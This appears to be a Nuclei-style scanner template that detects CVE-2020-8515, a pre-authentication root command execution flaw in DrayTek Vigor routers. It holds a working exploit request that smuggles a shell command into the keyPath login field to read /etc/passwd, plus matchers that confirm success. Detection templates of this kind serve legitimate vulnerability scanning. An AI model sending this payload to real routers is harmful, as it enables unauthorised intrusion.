33 lines
1.2 KiB
YAML
33 lines
1.2 KiB
YAML
id: CVE-2020-8515
|
|
|
|
info:
|
|
name: DrayTek pre-auth RCE
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.
|
|
reference:
|
|
- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
|
|
- https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
|
|
tags: cve,cve2020,rce
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/mainfunction.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
Accept: */*
|
|
Connection: close
|
|
|
|
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
part: body
|
|
|
|
- type: status
|
|
status:
|
|
- 200 |